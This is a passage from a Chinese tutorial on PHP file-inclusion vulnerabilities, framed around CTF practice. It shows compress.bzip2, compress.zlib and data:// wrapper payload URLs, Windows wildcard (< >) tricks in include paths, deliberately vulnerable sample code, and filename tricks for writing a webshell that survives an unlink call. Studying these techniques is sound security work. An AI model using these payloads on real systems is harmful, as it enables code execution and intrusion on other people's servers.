由于#在 get 请求中会将后面的参数忽略所以使用 get 请求时候应进行 url 编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

img

2.【bzip2://协议】

使用方法:

compress.bzip2://file.bz2

测试现象:

Text Only
http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

img

3.【zlib://协议】

使用方法:

compress.zlib://file.gz

测试现象:

Text Only
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

img

data://协议

经过测试官方文档上存在一处问题,经过测试 PHP 版本 5.2,5.3,5.5,7.0;data:// 协议是是受限于 allow_url_fopen 的,官方文档上给出的是 NO,所以要使用 data://协议需要满足双 on 条件

PHP.ini:

data://协议必须双在 on 才能正常使用;

Text Only
allow_url_fopen :on

allow_url_include:on

参考自:http://php.net/manual/zh/wrappers.data.php, 官方文档上 allow_url_fopen 应为 yes。

img

测试现象:

Text Only
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

也可以:

Text Only
http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

img

常规小结

PHP 封装协议在 CTF 蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待小伙伴的交流和补充。

img

关于windows利用通配符进行文件包含的分析

WinAPI与通配符

在Windows环境下使用PHP时,PHP中的部分函数会调用2个底层Windows API函数FindFirstFileExW(),FindFirstFile()

这两个函数对< > "三个字符做了特别的对待和处理:

Text Only
大于号 > 等价于 通配符 ? 0次或1次

小于号 < 等价于 通配符 * 0次或多次

双引号 " 等价于 通配符 . 匹配除换行符(\n, \r)之外的任意单个字符

也就是说,在Windows下的PHP的某些函数中,我们可以使用< > "来匹配一些文件名/目录名,将文件名不可知部分之后的字符用"<",">"代替,只用一个"<"或">"只能代表一个字符,若文件名很长需要用"<<"才行。

这里的部分函数包括但不限于:

PHP
include()                       包含文件
include_once()                  包含文件
require()                       包含文件
require_once()                  包含文件
fopen()                         打开文件
copy()                          复制文件
file_get_contents()             读取文件
readfile()                      读取文件
file_put_contents()             写入文件
mkdir()                         创建文件
opendir()                       文件夹操作
readdir()                       文件夹操作
move_uploaded_file()            移动文件
getimagesize()                  获取图像尺寸,类型等信息

关于windows这个特性能不能在其他语言环境利用,可以自行测试

下面给出测试php代码

PHP
<?php
$filename = $_GET["file"];
include $filename . ".php";
?>

include.php

PHP
<?php
phpinfo();
Text Only
payload:http://php-code:9003/test/testRCE.php?file=<

可以看到成功触发,经测试file=<<等效

Text Only
http://php-code:9003/test/testRCE.php?file=>>>>>>>

同样我们也可以用>通配符

经测试,"通配符不能利用,可能是因为这个符号比较特殊

参考文章:PHP源码调试之Windows文件通配符分析 - 先知社区 (aliyun.com)

关于PHP上传文件后删除的绕过

PHP
<?php
$filename = __DIR__ . '/tmp/' . $_GET['name'];
$data = $_GET['info'];

file_put_contents($filename, $data);
// ...一些处理
if (file_exists($filename)) {
    unlink($filename);
}

现在我们能控制$user变量,也就是说可以写入任意文件,但之后立刻就会被删除。

这种情况多存在于一些有缓存文件、临时文件的逻辑中,在实战里经常遇到。

利用条件竞争,在删除前生成新的shell,这是一个万金油答案,我就不多介绍。除此之外,这个题的关键就file_put_contents和后面的unlink、file_exists有什么区别。

trick 1

查看php源码,其实我们能发现,php读取、写入文件,都会调用php_stream_open_wrapper_ex来打开流,而判断文件存在、重命名、删除文件等操作则无需打开文件流。

我们跟一跟php_stream_open_wrapper_ex就会发现,其实最后会使用tsrm_realpath函数来将filename给标准化成一个绝对路径。而文件删除等操作则不会,这就是二者的区别。

所以,如果我们传入的是文件名中包含一个不存在的路径,写入的时候因为会处理掉“../”等相对路径,所以不会出错;

判断、删除的时候因为不会处理,所以就会出现“No such file or directory”的错误。

Text Only
payload:name=xxxxx/../1.php (这个方法是仅限Linux,因为Windows的文件操作API也会处理文件路径)

trick 2

Text Only
payload:name=1.php/. 

这种方法可以阅读此文:php_apache2_操作系统之间的一些黑魔法 | wonderkun's | blog 原理也是因为是否有php_stream_open_wrapper_ex导致的。

原理:简单来说就是在写入、读取文件时会递归的删除掉路径中存在的/.,所以导致写入文件成功。然后又由于删除的时候不会处理/.这些,导致删除失败,从而达到目的

trick 3

Windows下方法:

Text Only
info=webshell&name=1.php:test 

info=webshell&name=1.ph< 

依次发送上述两个请求,第一次请求:会截断文件名,导致创建一个新的空白文件1.php;

第二次使用了一个通配符“<”,把内容写入了第一步创建的文件。

trick 4

条件竞争

PHP Docker下的文件包含

Docker PHP裸文件本地包含综述

参考

✔PHP文件包含漏洞全面总结 - Zeker62 - 博客园